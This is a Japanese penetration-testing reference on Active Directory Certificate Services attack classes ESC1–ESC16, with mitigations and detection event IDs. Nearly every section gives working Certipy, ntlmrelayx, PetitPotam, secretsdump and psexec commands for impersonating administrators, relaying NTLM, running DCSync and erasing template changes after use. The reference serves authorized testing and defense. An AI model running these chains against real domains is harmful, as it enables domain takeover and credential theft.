要旨
2021年、SpecterOpsのWill SchroederとLee Christensenが発表した論文「Certified Pre-Owned」は、Active Directory Certificate Services(ADCS)における攻撃クラスを「ESC」という通し番号で体系化しました[1]。当初ESC1〜ESC8として分類されたこの体系は、その後の研究者たちによって2025年現在ESC16まで拡張されています[2]。
ADCSはエンタープライズWindowsネットワークの多数に導入されており、しかも「ほぼ必ずといっていいほど設定ミスを抱えている」のが実態です[3]。証明書テンプレートという設定ミスの温床が何年もADに放置され続け、ドメインユーザー1名が1つのコマンドを実行するだけでドメイン管理者権限を奪取できるケースが現実環境で発生しています[3]。
本記事では、セキュリティコンサルタントの実務視点から、ESC1〜ESC16の各攻撃クラスを技術的に解説します。各ESCの発見背景・悪用条件・Certipyによるexploitコマンド・緩和策を一覧できる構成とし、実際のペネトレーションテスト業務で参照できるリファレンスを目指します。
注意事項:本記事に記載する内容は、正規の権限を持つ環境内での教育目的のペネトレーションテストおよびセキュリティ評価を前提としています。許可のない環境への不正アクセスは法令に違反します。
記事本文
1. ADCSとは何か——なぜ攻撃者に狙われるのか
Active Directory Certificate Services(ADCS)は、Microsoftが提供するPKI(公開鍵基盤)実装です。組織内のユーザー認証・ファイル暗号化・コード署名・TLS証明書の発行など、幅広い用途に使われています[4]。
ADCSが攻撃者にとって魅力的な理由は明快です。
- 証明書による認証はパスワード変更後も有効であり、アカウント改変に対してサバイバルする
- 多くのデフォルトテンプレートがWindows Server 2003時代から存在し、「Domain Users」や「Authenticated Users」といった広範なグループに登録権限を付与している
- 管理者が意図せず脆弱な設定を導入するケースが多く、設定ミスの発見が難しい
- 検知が困難——ADCS攻撃の多くが正規の証明書操作と見分けがつかない[1]
"ADCS has been described as 'a skeleton key to Active Directory.'"
— Hive Security, ADCS Abuse with Certipy [3]
https://hivesecurity.gitlab.io/blog/adcs-abuse-certipy-esc1-esc8-attack-chains/
主要用語の整理
| 用語 | 説明 |
|---|---|
| Enterprise CA | ADに統合されたCA。証明書テンプレートを持つ |
| Certificate Template | 証明書の内容・発行ルールを定義したブループリント |
| EKU (Extended Key Usage) | 証明書の用途を制限するOID。Client Authenticationなどが重要 |
| SAN (Subject Alternative Name) | 証明書が誰を表すかを示すフィールド。UPNまたはDNS名 |
| CSR (Certificate Signing Request) | 証明書要求メッセージ |
| SID Security Extension | KB5014754以降に追加されたSIDバインドの拡張(OID: 1.3.6.1.4.1.311.25.2) |
| StrongCertificateBindingEnforcement | DCが証明書マッピングを厳密に検証するかを制御するレジストリキー |
2. 列挙フェーズ——攻撃の前提となるADCS偵察
すべてのESC攻撃は列挙から始まります。CertipyとCertify(C#版)が2大ツールです。
Certipy(Linux/Python)
# 全証明書テンプレートとCAを列挙(JSON・テキスト・BloodHound用出力)
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP"
# 脆弱なテンプレートのみ表示(推奨:最初の調査で使う)
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable -stdout
# 管理者権限のデフォルトACLを除外してクリーンな出力
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable -hide-admins
# DCとの通信のみ(ステルス性重視)
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -dc-only
netexec(SMB/LDAP)
# LDAP経由でADCS情報を取得
netexec ldap '<DC>' -d '<domain>' -u '<user>' -p '<password>' -M adcs
# Cert Publishersグループのメンバー確認
rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
"These [enumeration commands] generate adcs_audit.json and adcs_audit.txt with every vulnerable template listed. If the -vulnerable output is empty, you're in rare company."
— Hive Security [3]
https://hivesecurity.gitlab.io/blog/adcs-abuse-certipy-esc1-esc8-attack-chains/
3. ESC分類の全体マップ
ESCは攻撃対象のオブジェクトによって大きく3カテゴリに分類できます。
ADCS 攻撃分類
├── 証明書テンプレートの設定ミス
│ ├── ESC1 : SANを要求者が指定可能(認証EKUあり)
│ ├── ESC2 : Any Purpose / No EKU テンプレート
│ ├── ESC3 : Enrollment Agent EKU の悪用
│ ├── ESC9 : セキュリティ拡張なしのテンプレート
│ ├── ESC10 : 弱い証明書マッピング(レジストリ)
│ ├── ESC13 : 発行ポリシーOIDのグループリンク
│ ├── ESC14 : altSecurityIdentities の弱い明示マッピング
│ └── ESC15 : V1テンプレートへのApplicationPolicy注入(CVE-2024-49019)
│
├── アクセス制御の設定ミス(ACL)
│ ├── ESC4 : テンプレートへの書き込み権限
│ ├── ESC5 : PKIオブジェクトへの権限昇格
│ └── ESC7 : ManageCA / ManageCertificates 権限
│
├── CAレベルの設定ミス
│ ├── ESC6 : EDITF_ATTRIBUTESUBJECTALTNAME2 フラグ
│ ├── ESC12 : YubiHSM2 による秘密鍵漏洩
│ └── ESC16 : SIDセキュリティ拡張のCA全体無効化
│
└── NTLMリレー系
├── ESC8 : NTLM Relay → ADCS Webエンドポイント(HTTP)
└── ESC11 : NTLM Relay → ICPRエンドポイント(RPC)
4. ESC1——SANの自由指定によるユーザーなりすまし
概要
ESC1はADCS攻撃の中で最も典型的かつ頻繁に発見されるものです[4]。証明書テンプレートが「要求者によるSAN指定」を許可しており、かつ認証用EKUが設定されている場合、低権限ユーザーがドメイン管理者としての証明書を取得できます。
"ESC1 is the stereotypical AD CS misconfiguration that can lead directly to privilege escalation."
— Certipy Wiki [4]
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
悪用条件(すべて満たす必要あり)
| 条件 | 設定値 |
|---|---|
| 低権限ユーザーが登録可能 | Enrollment Rights に Domain Users / Authenticated Users |
| SANを要求者が指定可能 |
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグが有効 |
| 認証用EKUが存在する |
Client Authentication・PKINIT Client Authentication・Smart Card Logon
|
| Manager Approval が無効 | 承認なしに証明書が即時発行される |
| 署名要件なし | Authorized Signatures Required = 0 |
悪用コマンド(Certipy)
# 脆弱なテンプレートを発見
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -vulnerable -stdout
# 管理者UPNを指定して証明書を要求
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" \
-target "$ADCS_HOST" \
-ca '<CA_NAME>' \
-template '<VULNERABLE_TEMPLATE>' \
-upn 'administrator@<DOMAIN>'
# 取得した証明書でTGTおよびNTHashを取得
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"
# 認証(Pass the Hash / TGT)
impacket-psexec administrator@<DC_IP> -hashes aad3b435b51404eeaad3b435b51404ee:<NTHash>
export KRB5CCNAME=administrator.ccache
impacket-psexec <DOMAIN>/administrator@<DC_FQDN> -k -no-pass
発見された実際の攻撃事例
- APT29(2022年):Mandiantが報告。低権限ユーザーで脆弱なテンプレートを悪用し、SAN指定により高権限アカウントの証明書を取得してなりすましを実行[5]
- UNC5330(2024年):Google Cloudが報告。CVE-2024-21893などのIvanti脆弱性から侵入後、ESC1テンプレートを悪用してドメイン管理者に昇格[5]
緩和策
- テンプレートの「Enrollee Supplies Subject」を無効化し、「Build from Active Directory information」に変更
- Enrollment Rightsを広範なグループではなく、必要な特定グループのみに限定
- Manager Approval(管理者承認)を有効化
5. ESC2——Any Purpose / No EKU テンプレート
概要
テンプレートのEKUが「Any Purpose」またはEKU自体が設定されていない(SubCAテンプレート相当)場合、ESC2に該当します。この証明書は任意の用途に使用できます[4]。
"An Any Purpose certificate becomes truly dangerous only when the CA or template also allows SAN/SID injection (ESC 6/9/10). On a fully-patched domain controller with strong certificate mapping enforcement, an Any-Purpose certificate on its own will not bypass strong certificate mapping."
— xbz0n.sh [1]
https://xbz0n.sh/blog/adcs-complete-attack-reference
重要な注意点
ESC2単独では強制マッピング(Full Enforcement Mode)が有効なDCに対しては直接悪用できません。ESC6・ESC9・ESC10との組み合わせで初めて完全な権限昇格につながります。
悪用コマンド(Certipy)
# ESC2テンプレートで証明書取得
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" \
-target "$ADCS_HOST" \
-ca '<CA_NAME>' \
-template '<ESC2_TEMPLATE>'
# Enrollment Agentとして別ユーザーの証明書を要求(ESC3連携)
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" \
-target "$ADCS_HOST" \
-ca '<CA_NAME>' \
-template '<AUTH_TEMPLATE>' \
-on-behalf-of 'DOMAIN\administrator' \
-pfx agent.pfx
6. ESC3——Enrollment Agent EKU の連鎖悪用
概要
ESC3は2段階の証明書要求チェーンを用います。まずEnrollment Agent(OID: 1.3.6.1.4.1.311.20.2.1)EKUを持つ証明書を取得し、次にそのエージェント証明書を使って別のユーザー(例:管理者)の名義で証明書を要求するものです[4]。
悪用条件
- ステップ1:低権限ユーザーが
Certificate Request AgentEKUを持つテンプレートに登録可能 - ステップ2:そのエージェント証明書で、別のテンプレートに別ユーザー名義で登録可能
- CAでEnrollment Agent制限が設定されていない
悪用コマンド(Certipy)
# Step1: Enrollment Agent証明書を取得
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca '<CA_NAME>' -template '<ENROLLMENT_AGENT_TEMPLATE>'
# Step2: エージェント証明書を使って管理者名義で証明書取得
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca '<CA_NAME>' -template '<USER_AUTH_TEMPLATE>' \
-on-behalf-of '<DOMAIN>\administrator' \
-pfx agent.pfx
# 認証
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"
7. ESC4——テンプレートACLへの書き込みによる設定変更
概要
ESC4は、証明書テンプレートオブジェクト自体に対してWriteProperty・GenericWrite・WriteDACLなどの権限を持つアカウントが悪用できる手法です。攻撃者はテンプレートの設定を変更し、ESC1が可能な状態に改変します[4]。
"certipy template -u ... -template ESC4 -write-default-configuration を実行することで、ESC4テンプレートをESC1と同等の脆弱な状態に書き換えることができます。"
— vaadata.com [6]
https://www.vaadata.com/en/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
悪用コマンド(Certipy)
# テンプレートの現在の設定をバックアップ
certipy template -u "$USER@$DOMAIN" -p "$PASS" \
-template '<TARGET_TEMPLATE>' \
-write-configuration backup.json \
-dc-ip "$DC_IP"
# テンプレートをESC1脆弱構成に書き換え
certipy template -u "$USER@$DOMAIN" -p "$PASS" \
-template '<TARGET_TEMPLATE>' \
-write-default-configuration \
-dc-ip "$DC_IP"
# ESC1と同様に悪用
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' \
-upn 'administrator@<DOMAIN>'
# 攻撃後にテンプレートを元に戻す(痕跡消去)
certipy template -u "$USER@$DOMAIN" -p "$PASS" \
-template '<TARGET_TEMPLATE>' \
-configuration backup.json \
-dc-ip "$DC_IP"
8. ESC5——PKIオブジェクトへの弱いACL
概要
ESC5はESC4よりも広範な攻撃面をカバーします。ADの「Configuration」命名コンテキストに存在するPKI関連オブジェクト(CAサーバーオブジェクト・Enrollment Servicesオブジェクト・テンプレートコンテナ等)への書き込み権限を悪用します[6]。
"The exploitation of ESC5 relies on improper management of ACLs associated with certain sensitive objects related to the PKI infrastructure, located in the Active Directory Configuration naming context."
— vaadata.com [6]
https://www.vaadata.com/en/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
主な権限種別と影響
| 権限 | 対象オブジェクト | 攻撃者ができること |
|---|---|---|
| WriteProperty | CA Server Object | CA設定の変更 |
| GenericWrite | Templates Container | テンプレート新規作成 |
| WriteDACL | CA Object | 他ユーザーへの権限付与 |
| GenericAll | 任意のPKIオブジェクト | 全権限操作 |
緩和策
CAサーバー自体へのローカルアクセスは最小限の管理者にのみ付与し、Configuration命名コンテキスト内のPKIオブジェクトへの権限付与を定期的に監査することが重要です[6]。
9. ESC6——CA全体のSAN制御フラグ(EDITF_ATTRIBUTESUBJECTALTNAME2)
概要
CAにEDITF_ATTRIBUTESUBJECTALTNAME2フラグが設定されている場合、テンプレートに関係なく、すべての証明書要求でリクエスト者がSANを指定できます。ESC1がテンプレートレベルの設定ミスであるのに対し、ESC6はCA全体に影響するCA設定レベルの設定ミスです[6]。
"ESC6 abuses the same setting as ESC1 (client-specified SAN), but configured globally on the CA instead of a specific template. Thus, acting as a CA-wide override."
— Cato Networks [2]
https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/
注意:2022年5月以降のパッチ
KB5014754(2022年5月)のパッチ適用後、EDITF_ATTRIBUTESUBJECTALTNAME2のみでは管理者なりすましが困難になりました。ただし、ESC9やESC10の設定ミスとの組み合わせにより、フルパッチ済みDCでも悪用可能なケースがあります[4]。
悪用コマンド(Certipy)
# ESC6フラグの確認
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -vulnerable -stdout
# SAN+SIDを指定して証明書要求(KB5014754パッチ済み環境対応)
certipy req -u 'user1@contoso.local' -p 'password' \
-dc-ip '<DC_IP>' -target '<CA_HOST>' \
-ca '<CA_NAME>' -template 'User' \
-upn 'administrator@contoso.local' \
-sid '<ADMIN_SID>'
certipy auth -pfx 'administrator.pfx' -dc-ip '<DC_IP>'
10. ESC7——ManageCA / ManageCertificates 権限の悪用
概要
CAオブジェクトに対してManageCA権限を持つアカウントは、CAの設定を変更でき、さらにManageCertificates権限を自分自身に付与することができます。この2権限が揃うと、失敗した証明書要求を強制的に発行させることが可能になり、Manager Approval(承認機能)を迂回できます[4]。
"Manage CA is an assignable permission which allows users to modify the CA's configuration. If unprivileged users have this permission over a CA that is trusted for client authentication, then the CA is vulnerable to ESC7."
— ADCS Exploitation Part 1, Medium [7]
https://medium.com/@offsecdeer/adcs-exploitation-part-1-common-attacks-b7ae62519828
悪用コマンド(Certipy)
# ManageCA権限ユーザーで自身にManageCertificates権限を付与
certipy ca -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -ca "$CA_NAME" \
-add-officer "$USER"
# SubCAテンプレートを有効化
certipy ca -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -ca "$CA_NAME" \
-enable-template 'SubCA'
# 管理者名義で証明書を要求(失敗するが要求番号を記録)
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca "$CA_NAME" -template 'SubCA' \
-upn 'administrator@<DOMAIN>'
# → Request ID: 100 など記録
# 失敗要求を強制発行
certipy ca -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca "$CA_NAME" -issue-request 100
# 発行済み証明書を取得
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca "$CA_NAME" -retrieve 100
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"
11. ESC8——NTLM Relay → ADCS Webエンドポイント(HTTP)
概要
ADCSにIIS Webエンドポイント(/certsrv/)が設置されており、NTLM認証を受け付ける場合、NTLMリレー攻撃によって任意のアカウント名義の証明書を取得できます。PetitPotamやPrintSpoolerなどでDCに認証を強制し、その認証をADCSのWebエンドポイントにリレーします[2]。
"ESC8 chains NTLM relay with the ADCS Web Enrollment interface to obtain a Domain Controller certificate — enabling DCSync."
— Hive Security [3]
https://hivesecurity.gitlab.io/blog/adcs-abuse-certipy-esc1-esc8-attack-chains/
悪用コマンド
# ESC8脆弱性の確認
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -vulnerable -stdout
# Certipyでリレーサーバーを起動
certipy relay -ca <CA_HOST> -template 'DomainController'
# ntlmrelayx を使う場合
ntlmrelayx.py -t "http://<CA_HOST>/certsrv/certfnsh.asp" --adcs --template "DomainController"
# 認証の強制(PetitPotam / PrintSpooler)
python3 PetitPotam.py <RELAY_LISTENER_IP> <DC_IP>
# 取得した証明書でDCのNTHashを取得
certipy auth -pfx dc.pfx -dc-ip "$DC_IP"
# DCSync実行
impacket-secretsdump -hashes :<DC_NTHash> '<DOMAIN>/dc$@<DC_IP>'
EPA(Extended Protection for Authentication)の重要性
ESC8の緩和には、IISでEPAを有効化するか、Webエンドポイントが不要であれば削除することが最も効果的です[7]。
12. ESC9——セキュリティ拡張なしのテンプレート
概要
ESC9は、テンプレートにCT_FLAG_NO_SECURITY_EXTENSIONフラグ(値: 0x80000)が設定されており、SIDセキュリティ拡張(OID: 1.3.6.1.4.1.311.25.2)が発行証明書に含まれない設定ミスです。このSID拡張は、KB5014754(2022年5月)でMicrosoftが導入した「強制マッピング」の基盤であり、証明書とADアカウントをSIDで紐づけるものです[4]。
"ESC9 vulnerabilities arise when a certificate template is explicitly configured not to include the szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) security extension in the certificates it issues."
— Certipy Wiki [4]
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
悪用条件
-
StrongCertificateBindingEnforcementが1(互換モード)または0(無効) - テンプレートに認証用EKUが存在
- 攻撃者のアカウントがそのテンプレートに登録可能
悪用の流れ
- 攻撃者が自アカウントのUPN(userPrincipalName)を標的ユーザー(管理者)のUPNに変更
- ESC9テンプレートで証明書を取得(SID拡張なし)
- 自アカウントのUPNを元に戻す
- 取得した証明書(管理者UPNを含む)でPKINIT認証
悪用コマンド(Certipy)
# 前提: 攻撃者がターゲットのGenericWriteなどを持つ場合
# UPNを管理者のものに変更
certipy account update -u "$ATTACKER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -user "$ATTACKER" \
-upn 'administrator@<DOMAIN>'
# ESC9テンプレートで証明書取得
certipy req -u "$ATTACKER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca "$CA_NAME" -template '<ESC9_TEMPLATE>'
# UPNを元に戻す
certipy account update -u "$ATTACKER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -user "$ATTACKER" \
-upn "$ATTACKER@$DOMAIN"
# 取得した証明書で管理者として認証
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"
13. ESC10——弱い証明書マッピング(レジストリ設定)
概要
ESC10はESC9と類似していますが、テンプレートの設定ではなくDC側のレジストリ設定が問題です。StrongCertificateBindingEnforcementが0(完全無効)または1(互換モード)の場合、SID拡張を持たない証明書でも認証に使用できます。互換モードでは、SAN内のUPN/DNSに基づく弱いマッピングにフォールバックされます[4]。
"The vulnerability of ESC9 becomes exploitable under these conditions: ... StrongCertificateBindingEnforcement registry key on Domain Controllers is set to 1 (Compatibility Mode) or 0 (Disabled)."
— Certipy Wiki [4]
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
Microsoftのモード変遷
| 時期 | モード | 動作 |
|---|---|---|
| 2022年5月以前 | Legacy(デフォルト) | 強制マッピングなし |
| 2022年5月〜2025年2月 | Compatibility(デフォルト) | SID拡張があれば使用、なければUPN/DNSにフォールバック |
| 2025年2月以降 | Full Enforcement(デフォルト) | SID拡張なしの証明書は拒否(一部例外あり) |
"Beginning February 2025, domain controllers will default to Full Enforcement mode if the StrongCertificateBindingEnforcement registry key is not explicitly configured."
— Munib Nawaz, Medium [8]
https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
確認コマンド
# DCのレジストリ確認(DA権限が必要)
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\Kdc `
-Name StrongCertificateBindingEnforcement
# 0 = 無効, 1 = 互換, 2 = 完全強制
14. ESC11——NTLM Relay → ICPRエンドポイント(RPC)
概要
ESC8がHTTPベースのWebエンドポイントをターゲットにするのに対し、ESC11はRPCベースの証明書登録インターフェース(ICPRエンドポイント、MS-ICPRプロトコル)をターゲットにします。IF_ENFORCEENCRYPTICERTREQUESTフラグが無効の場合に悪用可能です[2]。
"ESC11 relays authentication requests to the RPC-based enrollment interface."
— Cato Networks [2]
https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/
悪用コマンド
# NTLM relay to ICPR(Certipy fork版が必要)
ntlmrelayx.py -t "rpc://<CA_HOST>" --adcs --template 'DomainController'
# certipy-merged(Sploutchy fork)でも対応
certipy relay -target "rpc://<CA_HOST>" -ca "$CA_NAME" -template 'DomainController'
15. ESC12——YubiHSM2 経由のCA秘密鍵奪取
概要
ESC12は、ADCSのCAがYubico YubiHSM2ハードウェアセキュリティモジュールを使って秘密鍵を管理している場合に限定される手法です。YubiHSM2はその認証パスワードをレジストリ内に平文で保存するため、CAサーバーへのシェルアクセスを持つ低権限ユーザーが秘密鍵にアクセスできるケースがあります[9]。
"This particular HSM stores the password required for authentication in the registry: this little exploit earned itself the name of ESC12."
— ADCS Exploitation Part 1 [7]
https://medium.com/@offsecdeer/adcs-exploitation-part-1-common-attacks-b7ae62519828
注意:ESC12はESCの分類として議論の余地があり(YubiHSM2の脆弱性であり、ADCSの設定ミスではない)、非常に限定的な環境にのみ適用されます[9]。
16. ESC13——発行ポリシーOIDとADグループのリンク悪用
概要
ESC13は2024年2月にJonas Bülow KnudsenがSpecterOpsで発表した手法です[9]。証明書テンプレートに含まれる発行ポリシーOID(msDS-OIDToGroupLink属性)がADのセキュリティグループにリンクされている場合、そのテンプレートで証明書を取得したユーザーは認証トークンに当該グループのメンバーシップが付加されます。
"If you perform client authentication with the certificate, then you will receive an access token specifying the membership of this group."
— The Hacker Recipes [10]
https://www.thehacker.recipes/ad/movement/adcs/certificate-templates
悪用コマンド(Certipy-merged)
# ESC13脆弱テンプレートの確認
certipy find -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -vulnerable -stdout
# OIDにリンクされた高権限グループのテンプレートで証明書取得
certipy req -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca "$CA_NAME" -template '<ESC13_TEMPLATE>'
# 認証(取得トークンに高権限グループが付加される)
certipy auth -pfx user.pfx -dc-ip "$DC_IP"
17. ESC14——altSecurityIdentities 属性の弱い明示マッピング
概要
ESC14は2024年2月にJonas Bülow KnudsenがSpecterOpsで発表しました[9]。ADユーザー/コンピューターのaltSecurityIdentities属性は、証明書と当該アカウントを明示的にマッピングするために使用されます。このマッピングが推測可能または偽造可能な値(証明書のIssuer/Subject等)に依存している場合、攻撃者はマッチする証明書を取得・偽造して対象アカウントになりすます事ができます[2]。
"ESC14 abuses the altSecurityIdentities attribute in AD user/computer accounts. If this explicit mapping is flawed — for example, it can be easily guessed or relies on spoofable certificate components — threat actors can obtain or forge a matching certificate to impersonate the linked AD account."
— Cato Networks [2]
https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/
悪用コマンド
# altSecurityIdentitiesへの書き込み権限がある場合(GenericAll等)
# certipy-mergedまたはDeloitteフォーク版を使用
certipy account update -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" \
-user 'targetadmin' \
-alt-security-identities 'X509:<I>DC=local,DC=corp,CN=CORP-CA<S>CN=targetadmin'
18. ESC15(EKUwu)——V1テンプレートへのApplication Policy注入(CVE-2024-49019)
概要
ESC15は2024年10月にJustin BollingerがTrustedSecで発表し、2024年11月にMicrosoftがCVE-2024-49019としてパッチを適用しました[9]。スキーマバージョン1(V1)の証明書テンプレートはリクエスト内のApplication Policyフィールドを検証しないため、攻撃者がリクエスト時に任意のApplication PolicyのOIDを埋め込むことができます。
"ESC15, also known as EKUwu, allows threat actors to inject arbitrary application policies into certificates based on V1 schema templates. This technique is usually combined with a threat actor-specified SAN and used to inject EKUs associated with ESC1-3."
— Cato Networks [2]
https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/
Application PolicyはEKUより優先される(両方存在する場合)ため、本来Client Authenticationを持たないWebServerテンプレートにもClient Authenticationを注入できます。
悪用コマンド(Certipy)
# V1テンプレートを確認(WebServerなど)
certipy find -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -vulnerable -stdout
# Application Policyを注入して証明書取得
certipy req \
-u 'jsmith@corp.local' -p 'Password123!' \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca 'CORP-CA' \
-template 'WebServer' \
-application-policies 'Client Authentication' \
-upn 'administrator@corp.local'
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"
緩和策
2024年11月のパッチ(CVE-2024-49019)を適用することで根本的に解決できます。即時パッチ適用が困難な場合は、V1テンプレートへの登録権限を必要最小限に制限します[11]。
19. ESC16——SIDセキュリティ拡張のCA全体無効化
概要
ESC16はESC9の「テンプレート単位の設定ミス」と対比して、CA全体でSIDセキュリティ拡張を無効化する設定ミスです。CAのポリシーモジュールレジストリのDisableExtensionListにOID 1.3.6.1.4.1.311.25.2が追加されると、そのCAが発行するすべての証明書からSID拡張が除去されます[4]。
"ESC16 refers to a configuration flaw in AD CS where the CA is set to omit the szOID_NTDS_CA_SECURITY_EXT extension from all issued certificates."
— Munib Nawaz, Medium [8]
https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
"ESC16 abuses the same setting as ESC9 (missing security extension), but configured globally on the CA instead of a specific template. Thus, acting as a CA-wide override."
— Cato Networks [2]
https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/
悪用条件
-
StrongCertificateBindingEnforcementが2未満(互換または無効) - もしくはESC6との組み合わせにより完全強制モードでも迂回可能
悪用コマンド(Certipy)
# ESC16の確認
certipy find -u "$USER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -vulnerable -stdout
# ESC9と同一の手順で悪用可能(CA全体が対象になる点が異なる)
# UPN変更
certipy account update -u "$ATTACKER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -user "$ATTACKER" \
-upn 'administrator@<DOMAIN>'
# 任意のテンプレートで証明書取得(CA全体にSID拡張なし)
certipy req -u "$ATTACKER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -target "$ADCS_HOST" \
-ca "$CA_NAME" -template 'User'
# UPNを元に戻す
certipy account update -u "$ATTACKER@$DOMAIN" -p "$PASS" \
-dc-ip "$DC_IP" -user "$ATTACKER" \
-upn "$ATTACKER@$DOMAIN"
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"
20. ESCまとめ対照表
| ESC | 通称・CVE | 発見時期 | 攻撃対象 | 主条件 | ツール |
|---|---|---|---|---|---|
| ESC1 | SAN Spoofing | 2021 | テンプレート | ENROLLEE_SUPPLIES_SUBJECT + 認証EKU | Certipy / Certify |
| ESC2 | Any Purpose | 2021 | テンプレート | Any Purpose / No EKU | Certipy |
| ESC3 | Enrollment Agent | 2021 | テンプレート | Certificate Request Agent EKU | Certipy |
| ESC4 | Template Write | 2021 | テンプレートACL | WriteProperty on Template | Certipy |
| ESC5 | PKI Object ACL | 2021 | PKIオブジェクト | 設定コンテキストへの書き込み | 手動 |
| ESC6 | CA-wide SAN | 2021 | CA設定 | EDITF_ATTRIBUTESUBJECTALTNAME2 | Certipy |
| ESC7 | ManageCA Abuse | 2021 | CA権限 | ManageCA + ManageCertificates | Certipy |
| ESC8 | NTLM Relay HTTP | 2021 | Webエンドポイント | NTLM認証 + /certsrv/ | ntlmrelayx / Certipy |
| ESC9 | No SID Extension | 2022 | テンプレート | CT_FLAG_NO_SECURITY_EXTENSION | Certipy |
| ESC10 | Weak Mapping | 2022 | DCレジストリ | StrongCertificateBindingEnforcement ≤ 1 | Certipy |
| ESC11 | NTLM Relay RPC | 2022 | RPCエンドポイント | IF_ENFORCEENCRYPTICERTREQUEST 無効 | ntlmrelayx |
| ESC12 | YubiHSM2 | 2023 | CAサーバー | YubiHSM2使用 + シェルアクセス | 手動 |
| ESC13 | OID Group Link | 2024.2 | テンプレート | msDS-OIDToGroupLink | certipy-merged |
| ESC14 | altSecurityIdentities | 2024.2 | ADオブジェクト | altSecurityIdentities書き込み | certipy-merged |
| ESC15 | EKUwu(CVE-2024-49019) | 2024.10 | V1テンプレート | Application Policy検証なし | Certipy |
| ESC16 | CA-wide SID Disable | 2025.5 | CA全体設定 | DisableExtensionList + SID拡張無効 | Certipy |
21. 検知——ADCSアタックをSIEMで捕まえる
ADCSの攻撃は正規の証明書操作と見分けがつきにくく、多くの組織がSIEMルールを持っていないのが現状です[3]。以下のWindows Event IDが主な検知の起点になります。
| Event ID | 説明 | 関連ESC |
|---|---|---|
| 4886 | 証明書が要求された | ESC1 / ESC3 / ESC8 |
| 4887 | 証明書が発行された | ESC1 / ESC3 / ESC8 |
| 4899 | 証明書テンプレートが変更された | ESC4 |
| 4900 | 証明書テンプレートのセキュリティが変更された | ESC4 / ESC5 |
ADCS監査の有効化
# グループポリシーでの設定(コマンドライン)
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
ESC1検知のSIEMルール例
# 証明書のSubjectが要求者と異なる場合 → ESC1の可能性
Event ID 4887 AND
Certificate.RequesterName != Certificate.SubjectName
22. セキュリティエンジニアの視点——ADCSをどう評価するか
ペネトレーションテストでADCSを評価する場合、筆者が実務で重視する観点を以下に整理します。
(1)まずCertipyで全体を把握する
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -vulnerable -stdout
この一発で脆弱なテンプレート・CA設定が列挙されます。出力が空なら稀有な環境です。
(2)ESC優先度の実務的なランキング
実エンゲージメントで遭遇頻度が高い順:
